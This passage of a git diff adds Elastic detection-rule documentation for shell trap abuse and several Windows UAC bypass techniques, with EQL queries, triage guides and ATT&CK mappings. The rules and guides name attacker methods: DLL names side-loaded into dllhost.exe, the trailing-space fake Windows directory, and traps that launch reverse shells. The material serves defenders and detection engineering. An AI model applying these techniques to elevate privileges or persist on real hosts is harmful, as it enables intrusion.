inadvertently match the rule's criteria. Educate users on the implications of using touch with specific arguments and consider excluding common user directories from the rule if they are frequently involved in such activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the attacker. +- Conduct a thorough review of the affected system's file system to identify and document any files with suspicious timestamp modifications, focusing on those altered by non-root users. +- Restore any critical files with altered timestamps from known good backups to ensure data integrity and system reliability. +- Revoke or reset credentials for any non-root users involved in the suspicious 'touch' command activity to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any further attempts at timestomping or related suspicious activities. +- Review and update access controls and permissions to ensure that only authorized users have the ability to modify file timestamps, reducing the risk of future timestomping attempts. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action == "exec" and process.name == "touch" and +process.parent.executable != null and process.args like ( + "-t*", "-d*", "-a*", "-m*", "-r*", "--date=*", "--reference=*", "--time=*" +) and not ( + process.parent.executable in ( + "/usr/local/bin/manage_omnimesh_logs", "/pro/bin/sys/install/packageUtils.sh", "/bin/dracut", + "/usr/libexec/postfix/aliasesdb", "pwsh-preview", "/usr/bin/dracut", "/usr/share/initramfs-tools/hooks/amd64_microcode", + "/usr/local/bin/start-mailserver.sh", "/usr/bin/ssm-agent-worker", "/bin/ssm-agent-worker", "/usr/local/cpanel/scripts/restartsrv_bind" + ) or + process.parent.executable like ("/opt/sw/tomcat/rc_scripts/*", "/tmp/newroot/var/lib/docker/overlay2/*", "/snap/*", "/opt/zeek/*") or + process.parent.name in ( + "xargs", "find", "sudo", "make", "pmlogger_check", "pmlogger_daily", "pmlogger_janitor", "autoupdate", "pmlogctl", + "spyglass", "desktop-launch", "pmiectl", "systemd" + ) or + process.parent.args like ( + "/home/*/scripts/auto_download_process.py", "/home/*/scripts/perl_python_eagu1p.py", "/var/lib/dpkg/info/*", + "bazel-out/k8-dbg/bin/dependencies/thirdparty/libjansson_foreign_cc/build_script.sh", "/usr/lib/portage/python*/ebuild.sh", + "/var/tmp/rpm-tmp.*", "/usr/lib/pcp/bin/pmlogger_janitor", "/usr/libexec/pcp/bin/pmlogger_janitor", + "/usr/libexec/pcp/bin/pmlogger_daily", "/usr/lib/pcp/bin/pmlogger_daily", "/opt/oracle.ExaWatcher/GetExaWatcherResults.sh" + ) or + process.args in ( + "/usr/bin/coreutils", "--no-create", "/etc/opt/lumu/lumud.conf", "/opt/vuso*", "/opt/diff", "/etc/aliases.db", "/opt/cursor/cursor" + ) or + process.args like ( + "--checkpoint=*", "/root/.config/envman/*", "/var/tmp/dracut*", "/var/tmp/portage*", "/snap/*", "/var/tmp/pmlogger_*/stamp", "/opt/ubki/*.jar", + "/usr/lib/go-*/bin/go", "/usr/lib/dracut/dracut-functions.sh", "/tmp/KSInstallAction.*/m/.patch/*" + ) or + process.command_line in ("/bin/touch -a /tmp/au_status", "touch -d 2 seconds ago /etc/postfix/main.cf") or + process.parent.command_line == "runc init" or + process.working_directory in ("/opt/libexec", "/opt/local/src/connectxx/build/src/mdp") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Timestomp +** ID: T1070.006 +** Reference URL: https://attack.mitre.org/techniques/T1070/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-trap-signals-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-trap-signals-execution.asciidoc new file mode 100644 index 0000000000..304cbe259f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-trap-signals-execution.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-trap-signals-execution]] +=== Trap Signals Execution + +Identify activity related where adversaries can include a trap command which then allows programs and shells to specify commands that will be executed upon receiving interrupt signals. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Trap Signals Execution* + + +This rule flags use of the shell built-in trap to bind commands to POSIX signals, enabling automatic execution when interrupts like SIGINT, SIGHUP, or SIGTERM occur. Attackers commonly embed traps in bash, zsh, or service scripts so pressing Ctrl+C (SIGINT) or a daemon reload (SIGHUP) silently runs a payload—adding a user to sudoers, planting a setuid helper, or launching a reverse shell—achieving persistence or escalation without a direct command invocation. + + +*Possible investigation steps* + + +- Pull the full trap command and its arguments plus the parent script path, then read the script to see which signals map to which payloads and whether they perform user, permission, or network actions. +- Determine execution context by user and privilege, TTY/session versus systemd or cron, and whether the shell was invoked with sudo or as root to gauge impact if the trap triggers. +- Correlate telemetry for signal delivery (kill, hangup, termination) to the same process and for immediate follow-on activity such as child process spawns, edits to /etc files, setuid or chmod events, and outbound connections. +- Search the host for other trap definitions in login and init paths (.bashrc, .zshrc, /etc/profile, /etc/*rc, systemd unit scripts, and cron wrappers) to identify persistence or broader tampering. +- Verify legitimacy by comparing the script to package or repository sources and change records, and preserve artifacts (path, hash, mtime, owner) along with shell history and environment for deeper analysis. + + +*False positive analysis* + + +- Operations or maintenance scripts legitimately declare trap handlers for SIGTERM or SIGHUP to perform cleanup during routine shutdown or reload, producing trap commands with signal arguments that match this detection. +- Interactive shell customization may set a trap on SIGINT (Ctrl+C) to restore terminal settings or print a message on interruption, resulting in benign trap invocations with SIG* arguments. + + +*Response and remediation* + + +- Isolate the host or TTY session where a trap binds SIGINT/SIGHUP/SIGTERM to commands that write to /etc or open a socket, kill the offending shell and its parent process, and stop/disable any systemd unit or cron wrapper invoking the implicated script path. +- Edit the identified script or rc file (.bashrc, .zshrc, /etc/profile, systemd unit script) to remove or unset the trap handlers, and delete or quarantine any referenced payload such as a reverse-shell binary, sudoers drop-in, or setuid helper. +- Restore altered files from a known-good baseline (e.g., /etc/sudoers, unit .service files, shell RCs), revalidate file ownership and permissions, restart impacted services cleanly, and rotate credentials for users touched by the payload. +- Sweep the host and peers for additional trap definitions by grepping for "trap SIG" in login/init paths and service scripts, and record script path, hash, mtime, and owner to confirm scope and support cleanup. +- Escalate to incident response if the trap executes as root, modifies /etc/sudoers or PAM files, creates setuid files under /usr/bin or /usr/local/bin, or starts a reverse shell to an external IP/port. +- Harden by restricting write access to /etc/*rc and service scripts, enforcing deployment via signed packages, adding audit rules for changes to /etc/sudoers and /etc/profile.d, blocking shells from egress to untrusted networks, and alerting on traps bound to EXIT/DEBUG or signals that invoke privileged actions. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and +process.name == "trap" and process.args : "SIG*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Trap +** ID: T1546.005 +** Reference URL: https://attack.mitre.org/techniques/T1546/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Trap +** ID: T1546.005 +** Reference URL: https://attack.mitre.org/techniques/T1546/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc new file mode 100644 index 0000000000..cec4a379b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer]] +=== UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer + +Identifies User Account Control (UAC) bypass attempts by abusing an elevated COM Interface to launch a malicious program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer* + + +User Account Control (UAC) is a security feature in Windows designed to prevent unauthorized changes by prompting for elevated permissions. Adversaries may exploit elevated COM interfaces, such as the Internet Explorer Add-On Installer, to bypass UAC and execute malicious code with higher privileges. The detection rule identifies suspicious processes originating from temporary directories, launched by the IE installer with specific arguments, indicating potential UAC bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path matches the pattern "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and verify if it is expected or known within the environment. +- Investigate the parent process "ieinstal.exe" to determine if its execution is legitimate, checking for any unusual or unexpected usage patterns. +- Examine the command-line arguments used by the parent process, specifically looking for the "-Embedding" argument, to understand the context of its execution. +- Check the code signature of the suspicious process to determine if it is signed by a trusted entity, and assess the trustworthiness of the signature if present. +- Correlate this event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related malicious activity. +- Investigate the user account associated with the process to determine if there are any signs of compromise or unauthorized access attempts. +- Assess the risk and impact of the potential UAC bypass attempt on the system and broader network, and take appropriate containment or remediation actions if necessary. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they temporarily use the specified directory structure. Users can monitor the frequency and context of these alerts to determine if they align with known software behaviors. +- Development or testing environments might generate alerts due to the execution of scripts or applications from temporary directories. Users can create exceptions for specific environments or processes that are known to be safe. +- System administrators or IT personnel performing legitimate administrative tasks might inadvertently trigger the rule. Users can exclude specific user accounts or processes from monitoring if they are verified as non-threatening. +- Automated software deployment tools that use temporary directories for installation processes may cause false positives. Users can whitelist these tools by verifying their code signatures and adding them to an exception list. +- Regularly review and update the list of trusted applications and processes to ensure that only verified and necessary exceptions are in place, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified by the detection rule, specifically those originating from temporary directories and launched by "ieinstal.exe" with the "-Embedding" argument. +- Conduct a thorough review of the affected system to identify any additional unauthorized changes or malware installations, focusing on temporary directories and COM interface usage. +- Restore the system to a known good state using backups or system restore points, ensuring that any malicious changes are reversed. +- Update and patch the affected system to the latest security updates to mitigate known vulnerabilities that could be exploited for UAC bypass. +- Implement application whitelisting to prevent unauthorized executables from running, particularly those in temporary directories. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and + process.parent.name : "ieinstal.exe" and process.parent.args : "-Embedding" + + /* uncomment once in winlogbeat */ + /* and not (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc new file mode 100644 index 0000000000..3cf60ea0fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-uac-bypass-attempt-via-privileged-ifileoperation-com-interface]] +=== UAC Bypass Attempt via Privileged IFileOperation COM Interface + +Identifies attempts to bypass User Account Control (UAC) via DLL side-loading. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/UACME +* https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt via Privileged IFileOperation COM Interface* + + +The IFileOperation COM interface is a Windows component used for file operations with elevated privileges. Adversaries exploit this by side-loading malicious DLLs into processes like dllhost.exe, bypassing UAC to gain elevated permissions stealthily. The detection rule identifies such attempts by monitoring changes in specific DLLs loaded into high-integrity processes, filtering out benign system paths to reduce false positives. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "dllhost.exe" and verify the integrity level of the process to ensure it is running with high or system integrity. +- Check the file name involved in the alert to see if it matches any of the known malicious DLLs such as "wow64log.dll", "comctl32.dll", "DismCore.dll", "OskSupport.dll", "duser.dll", or "Accessibility.ni.dll". +- Investigate the file path of the loaded DLL to ensure it does not originate from benign system paths like "C:\Windows\SoftwareDistribution\" or "C:\Windows\WinSxS\". +- Analyze the parent process of "dllhost.exe" to determine how it was initiated and whether it aligns with expected behavior or indicates potential compromise. +- Review recent system changes or installations that might have introduced the suspicious DLL, focusing on any unauthorized or unexpected software installations. +- Correlate the event with other security logs or alerts from data sources such as Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related suspicious activities or patterns. +- Assess the risk and impact of the potential UAC bypass attempt and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- System updates and installations can trigger false positives due to legitimate changes in DLLs. Exclude paths related to Windows updates and installations, such as C:\Windows\SoftwareDistribution\* and C:\Windows\WinSxS\*. +- Certain legitimate software may use DLLs like comctl32.dll or duser.dll in a manner that mimics side-loading. Identify and whitelist these applications if they are known and trusted within your environment. +- Security software or system management tools might perform operations that resemble UAC bypass attempts. Review and exclude these tools if they are verified as safe and necessary for your operations. +- Regularly review and update the list of known benign DLLs and paths to ensure that new legitimate software does not trigger false positives. +- Monitor for patterns of repeated false positives from specific processes or paths and consider creating exceptions for these scenarios after thorough validation. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate the dllhost.exe process if it is confirmed to be involved in the UAC bypass attempt to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious DLLs or associated malware. +- Review and restore any modified system files or settings to their original state to ensure system integrity. +- Apply any pending security patches and updates to the operating system and installed software to mitigate known vulnerabilities. +- Monitor the network for any signs of similar activity or attempts to exploit the IFileOperation COM interface on other systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type : "change" and process.name : "dllhost.exe" and + /* Known modules names side loaded into process running with high or system integrity level for UAC Bypass, update here for new modules */ + file.name : ("wow64log.dll", "comctl32.dll", "DismCore.dll", "OskSupport.dll", "duser.dll", "Accessibility.ni.dll") and + /* has no impact on rule logic just to avoid OS install related FPs */ + not file.path : ("C:\\Windows\\SoftwareDistribution\\*", "C:\\Windows\\WinSxS\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc new file mode 100644 index 0000000000..f14ab103bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-uac-bypass-attempt-via-windows-directory-masquerading]] +=== UAC Bypass Attempt via Windows Directory Masquerading + +Identifies an attempt to bypass User Account Control (UAC) by masquerading as a Microsoft trusted Windows directory. Attackers may bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 324 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass Attempt via Windows Directory Masquerading* + + + +*Possible investigation steps* + + +- Does the alert-local path prove execution from a mock trusted Windows directory? + - Why: This technique abuses a trailing-space "C:\Windows " tree that AppInfo checks can normalize while the fake path still executes. + - Focus: `process.executable` and `process.command_line`, especially "C:\Windows \System32\" or "C:\Windows \SysWOW64\" instead of the canonical Windows path. + - Implication: escalate when executable or argument paths contain the trailing-space trusted-directory clone; lower suspicion only when `process.executable` and `process.command_line` resolve to the canonical Windows path and later evidence does not contradict that. + +- Is the binary a copied auto-elevating Windows executable? + - Focus: `process.name`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.hash.sha256`. + - Implication: escalate when a signed Microsoft auto-elevating binary runs from the fake tree, name or PE metadata imitates one, or the hash is unfamiliar; if not auto-elevating, keep suspicious as path masquerading or staging until lineage and artifacts explain it. + +- Do the parent, user, and token context fit a UAC-bypass transition? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, `process.Ext.token.integrity_level_name`, and `process.Ext.token.elevation_level`. + - Implication: escalate when a browser, document process, script host, installer, or remote-admin parent launches the copied binary with high or full integrity; lower suspicion when parent, user, token state, and host cohort align with confirmed compatibility or security testing. + +- Did file events show the fake tree being staged before or by the alerting process? + - Focus: same-`host.id` file events where `file.path` is under "C:\Windows \", plus alert-process file events scoped by `process.entity_id` when present. !{investigate{"description":"","label":"File events for the suspicious process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: File telemetry is conditional; missing file events leave staging unresolved, not benign. Use `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier` only when the fake-tree writer is unclear. + - Implication: escalate when any process creates "C:\Windows \", copies the auto-elevating executable, or drops a same-directory DLL; lower suspicion only when fake-tree artifacts are bounded to controlled lab testing with no contradictory DLL or child-process evidence. + +- Did the copied binary load a sidecar DLL from the fake tree? + - Focus: library events scoped by `host.id` plus `process.entity_id` when present; review `dll.path`, `dll.hash.sha256`, and `dll.code_signature.subject_name`. !{investigate{"description":"","label":"Library events for the suspicious process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: Library telemetry is conditional; missing library events leave DLL payload execution unresolved, not benign. + - Implication: escalate when the copied binary loads a same-directory DLL from the fake tree, especially unsigned, unfamiliar, or mismatched; if no DLL evidence appears, continue to child-process review before treating execution as unresolved. + +- Did the copied binary spawn elevated follow-on code? + - Focus: same-`host.id` child processes where `process.parent.entity_id` matches `process.entity_id`; review child `process.command_line` and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Child processes launched by the copied binary","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the copied binary spawns high-integrity shells, scripts, payloads, or unexpected admin tools; if no child appears, treat execution as unresolved unless path, binary, parent, file, and DLL evidence all support controlled lab testing. + +- If local evidence is suspicious or incomplete, is the same fake path or host showing related activity? + - Focus: related alerts for the same `process.executable` fake path, especially UAC-bypass, masquerading, or payload-staging detections; check same-host alert history for privilege-escalation, defense-evasion, or suspicious file-staging context. + - !{investigate{"description":"","label":"Alerts associated with the same fake executable path","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same fake path appears across hosts or the same host has surrounding staging, privilege-escalation, or defense-evasion alerts; keep scope local only when local evidence also supports controlled lab testing. + +- What disposition do the fake path, binary identity, lineage, artifacts, execution, and scope support? + - Escalate when path, binary identity, lineage, artifacts, execution, or scope show fake-tree UAC bypass; close only when all categories align with controlled lab testing and no contradictions remain; preserve artifacts and escalate when mixed or incomplete. + + +*False positive analysis* + + +- This behavior is an operational anti-pattern outside explicit testing. Authorized compatibility or security research can trigger it only when a team deliberately constructs a trailing-space Windows tree in a controlled lab. Confirm exact `process.executable`, stable `process.hash.sha256`, Microsoft signer and original file name, `process.parent.executable`, `user.id`, `host.id`, and sidecar-DLL behavior against the same test. If test plans exist, require alignment; otherwise rely on prior alerts for the same path, hash, parent workflow, and lab cohort without unexpected elevated children. +- Do not treat a signed Microsoft binary or lab host as sufficient. Same-directory DLL load, elevated shell, suspicious parent, internet-provenance file event, or recurrence outside the expected cohort keeps the alert suspicious until the exact test scope explains it. +- Before an exception, validate recurrence of the minimum workflow pattern: exact `process.executable`, stable `process.hash.sha256`, `process.parent.executable`, expected sidecar-DLL behavior, and bounded `host.id` or `user.id` cohort. Avoid exceptions on "C:\Windows " alone, binary name alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the exact fake-tree path, copied binary hash, parent workflow, user/host cohort, and sidecar-DLL behavior that proved the recognized workflow. Create an exception only after that same pattern recurs consistently for this rule. +- If suspicious but unconfirmed, preserve a case export for the alert process, parent chain, token context, fake-tree directory, copied binary, sidecar DLLs and hashes, and any elevated child details before containment. Apply reversible containment next, such as restricting execution from the fake tree or isolating the affected host if sidecar loading, elevated children, or broader post-exploitation evidence is active. +- If confirmed malicious, collect the copied auto-elevating 